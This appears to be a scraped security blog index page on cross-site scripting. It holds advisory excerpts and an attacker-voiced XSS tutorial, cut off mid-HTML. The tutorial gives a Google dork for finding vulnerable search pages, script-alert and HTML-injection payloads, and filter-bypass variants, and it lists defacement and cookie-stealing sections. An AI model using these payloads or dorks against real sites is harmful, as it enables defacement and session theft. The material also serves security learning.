Mr.Quay's Blog: XSS

Wordpress Simple Share Buttons Adder Plugin 4.4 - Multiple Vulnerabilities

Wordpress Simple Share Buttons Adder Plugin 4.4 - Multiple Vulnerabilities

Details ================ Software: Simple Share Buttons Adder Version: 4.4

Mailspect Control Panel 4.0.5 - Multiple Vulnerabilities

Mailspect Control Panel 4.0.5 - Multiple Vulnerabilities

Document Title: ============ Mailspect Control Panel version 4.0.5 Multiple Vulnerabilities

Cross-site request forgery CSRF

Cross-site request forgery CSRF a) Giới thiệu chung về CSRF: Giả mạo yêu cầu (CSRF) là một kiểu tấn công được nêu trong Top 10 của OWASP, th...

Unpatched Google Vulnerabilities That Can Aid Cyber Attacks

<span style="background-color: #fdfdfd; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: x-small; line-height: 20.799999237060547px;"><span style="box-sizing: border-box; font-family: Georgia, 'Times New Roman', serif;">Unpatched Google Vulnerabilities That Can Aid Cyber Attacks. Whatever Google has denied these vulnerabilities but these links can be use for hacker friendly. Attacker can use these links for Social engineering and phishing attacks.</span></span><br>
<span style="background-color: #fdfdfd; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: x-small; line-height: 20.799999237060547px;"><span style="box-sizing: border-box; font-family: Georgia, 'Times New Roman', serif;">When i convert this korean website in Google translate i got a pop up .. and but this cross site scripting in google user content sandbox domains. Google denied to give bounty for this </span></span><br>
<span style="background-color: #fdfdfd; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: x-small; line-height: 20.799999237060547px;"><span style="box-sizing: border-box; font-family: Georgia, 'Times New Roman', serif;"></span></span><span style="background-color: #fdfdfd; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 20.799999237060547px;"></span><br>
<span style="background-color: #fdfdfd; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: x-small; line-height: 20.799999237060547px;"><span style="box-sizing: border-box; font-family: Georgia, 'Times New Roman', serif;">googleusercontent.com domain.</span></span><br>
<div class="separator" style="background-color: #fdfdfd; box-sizing: border-box; clear: both; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 20.799999237060547px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWTld9DUgQSMSYn5hR3PbuXzUTQNazUHfWAd6bnjAEJsEwldRWKxJ8lR63rIf2_2makejcdhLwbBfOpQX-Qar2o6dTqtXLr3_IsUNuWvlWBWMvxRXAMqZZpGpgd_0T53nuyTeEVd_f2wKk/s1600/XSS+in+Google+.png" imageanchor="1" style="-webkit-transition: all 0.4s ease-in-out; box-sizing: border-box; clear: left; color: #2c2c2c; float: left; margin-bottom: 1em; margin-right: 1em; transition: all 0.4s ease-in-out;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWTld9DUgQSMSYn5hR3PbuXzUTQNazUHfWAd6bnjAEJsEwldRWKxJ8lR63rIf2_2makejcdhLwbBfOpQX-Qar2o6dTqtXLr3_IsUNuWvlWBWMvxRXAMqZZpGpgd_0T53nuyTeEVd_f2wKk/s1600/XSS+in+Google+.png" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="640"></a><span style="box-sizing: border-box; font-size: x-small;"><span style="box-sizing: border-box; font-family: Georgia, 'Times New Roman', serif;"></span></span></div>
<span style="background-color: #fdfdfd; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: x-small; line-height: 20.799999237060547px;"><span style="box-sizing: border-box; font-family: Georgia, 'Times New Roman', serif;"></span></span><br style="background-color: #fdfdfd; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 20.799999237060547px;">
<br>
<span style="background-color: #fdfdfd; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: x-small; line-height: 20.799999237060547px;"><span style="box-sizing: border-box; font-family: Georgia, 'Times New Roman', serif;"></span></span><br>

Unpatched Google Vulnerabilities That Can Aid Cyber Attacks

Unpatched Google Vulnerabilities That Can Aid Cyber Attacks. Whatever Google has denied these vulnerabilities but these links can be use for...

XSSYA Cross Site Scripting And Vulnerability Confirmation Scanner

<div class="separator" style="background-color: #fdfdfd; box-sizing: border-box; clear: both; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 20.799999237060547px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKmWzA5yudqEPZiz6mlvBLm-5BLzX7bf24VpdPeSHW5uAPF2N4A0AQQvUKDT5YuI5NWZPQrkohRG_DrfaMmUUmXsyERBxhevYSq_Bgw4ggtbECkPniftdVwcbSH1MoJK1EkSYaD-pcbOIk/s1600/XSSYA.png" imageanchor="1" style="-webkit-transition: all 0.4s ease-in-out; box-sizing: border-box; color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none; transition: all 0.4s ease-in-out;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKmWzA5yudqEPZiz6mlvBLm-5BLzX7bf24VpdPeSHW5uAPF2N4A0AQQvUKDT5YuI5NWZPQrkohRG_DrfaMmUUmXsyERBxhevYSq_Bgw4ggtbECkPniftdVwcbSH1MoJK1EkSYaD-pcbOIk/s1600/XSSYA.png" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;"></a></div>
<br style="background-color: #fdfdfd; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 20.799999237060547px;"><span style="background-color: #fdfdfd; box-sizing: border-box; color: #333333; font-family: Georgia, 'Times New Roman', serif; font-size: 13px; line-height: 20.799999237060547px;">XSSYA Cross Site Scripting Scanner & Vulnerability Confirmation written in python scripting language confirm the XSS Vulnerability in two method first work by execute the payload encoded to bypass Web Application Firewall which is the first method  request and response if it respond 200 it turn to Method 2 </span><br>

XSSYA Cross Site Scripting And Vulnerability Confirmation Scanner

XSSYA Cross Site Scripting Scanner & Vulnerability Confirmation written in python scripting language confirm the XSS Vulnerability in ...

XSS in CNET Website Not Fixed [#POC]

<div class="MsoNormal" style="background-color: white; box-sizing: border-box; color: #333333; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 20.799999237060547px;">
<div class="separator" style="box-sizing: border-box; clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNmHKPb9pO700XX8dWM-ZTvcTJOIB5M9hTZPC368adgiSxxVi54WEhG9iwNCpPIsBH0HfSsRyhuPp-5wewl6rWJhDYa840bj6uQ5V9l0qwOZHd1XI-Gga9KsXL5tYBDe01YkKL8eQEjKNi/s1600/XSS+in+CNET.png" imageanchor="1" style="-webkit-transition: all 0.4s ease-in-out; box-sizing: border-box; clear: left; color: #999999; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: none; transition: all 0.4s ease-in-out;"><img border="0" height="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNmHKPb9pO700XX8dWM-ZTvcTJOIB5M9hTZPC368adgiSxxVi54WEhG9iwNCpPIsBH0HfSsRyhuPp-5wewl6rWJhDYa840bj6uQ5V9l0qwOZHd1XI-Gga9KsXL5tYBDe01YkKL8eQEjKNi/s1600/XSS+in+CNET.png" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="640"></a></div>
<span style="box-sizing: border-box; color: #222222; font-family: Georgia, 'Times New Roman', serif;"><br style="box-sizing: border-box;"></span><span style="box-sizing: border-box; color: #222222; font-family: Georgia, 'Times New Roman', serif;">Brazilian Security Researcher Found XSS in CNET Website [#POC]</span><br>
</div>

XSS in CNET Website Not Fixed [#POC]

Brazilian Security Researcher Found XSS in CNET Website [#POC]

eFront 3.6.14.4 (surname param) - Persistent XSS Vulnerability

<div class="line number1 index0 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Exploit Title: Persistent Cross Site Scripting Vulnerability in eFront</code></div>
<div class="line number2 index1 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">3.6.14.4</code></div>
<div class="line number3 index2 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Date: 05 June 2014</code></div>
<div class="line number4 index3 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Exploit Author: shyamkumar somana</code></div>
<div class="line number5 index4 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Vendor Homepage: http://www.efrontlearning.net</code></div>
<div class="line number6 index5 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Software Link:</code></div>
<div class="line number7 index6 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">https://sourceforge.net/projects/efrontlearning/files/latest/download</code></div>
<div class="line number8 index7 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Version: 3.6.14.4</code></div>
<div class="line number9 index8 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Tested on: Windows 7</code></div>

eFront 3.6.14.4 (surname param) - Persistent XSS Vulnerability

# Exploit Title: Persistent Cross Site Scripting Vulnerability in eFront 3.6.14.4 # Date: 05 June 2014 # Exploit Author: shyamkumar s...

[TUT] Cross Site Scripting (XSS)

<div style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">
<u><b>Table Of Contents</b></u><br />What is XSS?<br />Finding XSS Vulnerabilities<br />The Basics On XSS<br />Deface Methods<br />Cookie Stealing<br />Filtration Bypassing<br />___________________<br /><span style="font-size: medium;"><b>What is XSS?</b></span><br />'XSS' also known as 'CSS' (Cross Site Scripting, Easily confused with 'Cascading Style Sheets')<br />is a very common vulnerbility found in Web Applications, 'XSS' allows the attacker to INSERT<br />malicous code,There are many types of XSS there but i will only explain 3 of them and they are most important <b></b><br /><b>1-</b>'URL XSS' this means that the XSS wont stay on the page it will only get executed if you have the malicous code in the URL and submit the url.<br /><br />2- Input fields, Where ever you can insert data, it is very common, to be XSS vulnerable, for example say we found a site with a search engine, Now in the search box you enter 'hacker' now hit enter, when the page loads, if it says your data like 'Found 100 Results For hacker' ok now you see its displaying out data on the page, now what if we can exexute code? there is no possible way to execute PHP code in this Attack, but certainly is for HTML, Javascript, but be aware this method.<br /><br />3-In the Third one  you will be able to INSERT data (code) and it will stay on the website.now there are 2 kinds, it depends if we can execute PHP or HTML if we can inject PHP then we can also  inject HTML but NOT vice versa, Ok this kinda attack is normally found on Blogs, Shoutboxes, Profiles Forums, just most  places where you insert data and it stays there. now HTML is totally different then PHP.HTML downloads to your pc and then your 'Browser' parses/interprets the code, (that's why its source is viewable) With PHP the code is interpreted on the server the script is hosted on, then the data is returned to the browser.For PHP injection its rare, But it don't harm to try. Note: PHP code cant be injected into HTML page!<br /><br /><span style="font-size: medium;"><b>Finding XSS Vulnerabilities</b></span><br />Well to start finding these vulnerabilities you can start checking out<br />Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's<span style="font-size: medium;"> <span style="font-size: x-small;">and many things</span></span><br /><br />Using 'Google Dorks' to make the finding easier, Ok if you wanna get cracking, goto Google.com and type<br />inurl:"search.php?q=" now that is a common page and has a lot of results,<span style="font-size: medium;"><span style="font-size: x-small;"> Now lets move on to the next part</span></span><br /><br /><b><span style="font-size: medium;">The Basics On XSS</span></b><span style="font-size: medium;"><span style="font-size: x-small;"> </span></span><br /><span style="font-size: medium;"><span style="font-size: x-small;"><br /></span></span><br /><span style="font-size: medium;"><span style="font-size: x-small;">To know the basic this Picture may help you </span></span><br /><span style="font-size: medium;"><span style="font-size: x-small;"><br /></span></span></div>
<div class="separator" style="clear: both; font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbeDdEYq4vm73s-o7QoW0RbyZtT874gi6Io32lS1VNUq-8PVrIe1x05EPGE3xAGBiYXYZQllpPI5pPbJJO1HOztINwE1wLuB-dCvc5qbobMUSIfVYzbZ1MSmChbDAGI300ovrI0O-fhlOw/s1600/xss.png" imageanchor="1" style="outline: none; text-decoration: none;"><span style="color: black;"><img border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbeDdEYq4vm73s-o7QoW0RbyZtT874gi6Io32lS1VNUq-8PVrIe1x05EPGE3xAGBiYXYZQllpPI5pPbJJO1HOztINwE1wLuB-dCvc5qbobMUSIfVYzbZ1MSmChbDAGI300ovrI0O-fhlOw/s280/xss.png" style="-webkit-box-shadow: none; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; box-shadow: none; margin: 0px 4px 4px 0px; max-width: 99%; padding: 0px;" width="280" /></span></a></div>
<span style="font-family: Arial, Verdana; font-size: medium; line-height: 19px; text-align: justify;"><span style="font-size: x-small;">The most used Xss injection is </span></span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br />
<div style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">
<i><script>alert("XSS")</script></i></div>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: medium; line-height: 19px; text-align: justify;"><span style="font-size: x-small;">This will alert a popup saying xss if the site is vulnerable and this is easily editable means you can also inject </span></span><br />
<blockquote style="border-left-color: rgb(202, 218, 231); border-left-style: solid; border-left-width: 3px; font-family: Arial, Verdana; font-size: 13px; font-style: italic; line-height: 19px; overflow: hidden; padding-left: 9px; text-align: justify;">
<script>alert("your name or message")</script></blockquote>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">So going previous i told you a google dork , </span><u style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">search.php?q= </u><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">Well we will use this to check for vulnerabilities</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">To check if it is vulnerable we type</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><a href="http://some%20common%20methods%20to%20bypass%20filteration%20is%20%20%27%29alert%28%27xss%27%29/;%20%20or%20%20%22%29;alert%28%27xss%27%29;%20%20that%20will%20do%20the%20same%20thing%20has%20%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E%20on%20a%20vulnerable%20server.%20%20You%20can%20also%20try%20hexing%20or%20base64%20encoding%20your%20data%20before%20you%20submit,%20%20Please%20note%20its%20bad%20practice%20to%20use%20alert%28%22XSS%22%29%20to%20test%20for%20XSS,%20has%20ive%20known%20sites%20block%20the%20keyword%20XSS%20before.%20%20Some%20other%20ways%20to%20bypass%20filteration%20%20%3Cscript%20type=text/javascript%3Ealert%28%22t0pP8uZz%22%29%3C/script%3E%20%3Cscript%3Ealert%28%22t0pP8uZz%22%29%3C/script%3E;%20%3Cscript%3Ealert%28%22t0pP8uZz%22%29;%3C/script%3E%20%3Cscript%3Ealert%28%22/t0pP8uZz%22/%29%3C/script%3E%20%3Cscript%3Evar%20var%20=%201;%20alert%28var%29%3C/script%3E" style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; outline: none; text-align: justify; text-decoration: none;">www.site.com/search.php?q=<script>alert("1")</script></a><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">This then gives a popup like this</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br />
<div class="separator" style="clear: both; font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm_vzI1-qBb86TpD84XvJzUgNRPeSYLYXz3shyphenhyphenduo9h1zOaD2cr9F5jktCfLoYCqD-mo16xzQtxVEPwFlkah6R43TzOA6nLWEqdrVoOwdSyRVsLAxoQZc74-ECcpMghY5VuWSkrXddGujd/s1600/XSS+vulnerability.JPG" imageanchor="1" style="outline: none; text-decoration: none;"><span style="color: black;"><br /></span></a></div>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" />
<div class="separator" style="clear: both; font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm_vzI1-qBb86TpD84XvJzUgNRPeSYLYXz3shyphenhyphenduo9h1zOaD2cr9F5jktCfLoYCqD-mo16xzQtxVEPwFlkah6R43TzOA6nLWEqdrVoOwdSyRVsLAxoQZc74-ECcpMghY5VuWSkrXddGujd/s1600/XSS+vulnerability.JPG" imageanchor="1" style="outline: none; text-decoration: none;"><span style="color: black;"><img border="0" height="109" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm_vzI1-qBb86TpD84XvJzUgNRPeSYLYXz3shyphenhyphenduo9h1zOaD2cr9F5jktCfLoYCqD-mo16xzQtxVEPwFlkah6R43TzOA6nLWEqdrVoOwdSyRVsLAxoQZc74-ECcpMghY5VuWSkrXddGujd/s1600/XSS+vulnerability.JPG" style="-webkit-box-shadow: none; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; box-shadow: none; margin: 0px 4px 4px 0px; max-width: 99%; padding: 0px;" width="280" /></span></a></div>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> Many at times this works but if it does not work don't cry we have another way.. :P</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"> You can try injecting HTMl ;)</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">You can put this two strings to inject html</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><h1>anything you want</h1></span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;"><br><br><b><u>any thing you want</u></b></span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">so our url will be</span><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><a href="http://www.site.com/search.php?q=%20%3Ch1%3Eanything%20you%20want%3C/h1%3E" style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; outline: none; text-align: justify; text-decoration: none;">www.site.com/search.php?q= <h1>anything you want</h1></a><br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;" /><span style="font-family: 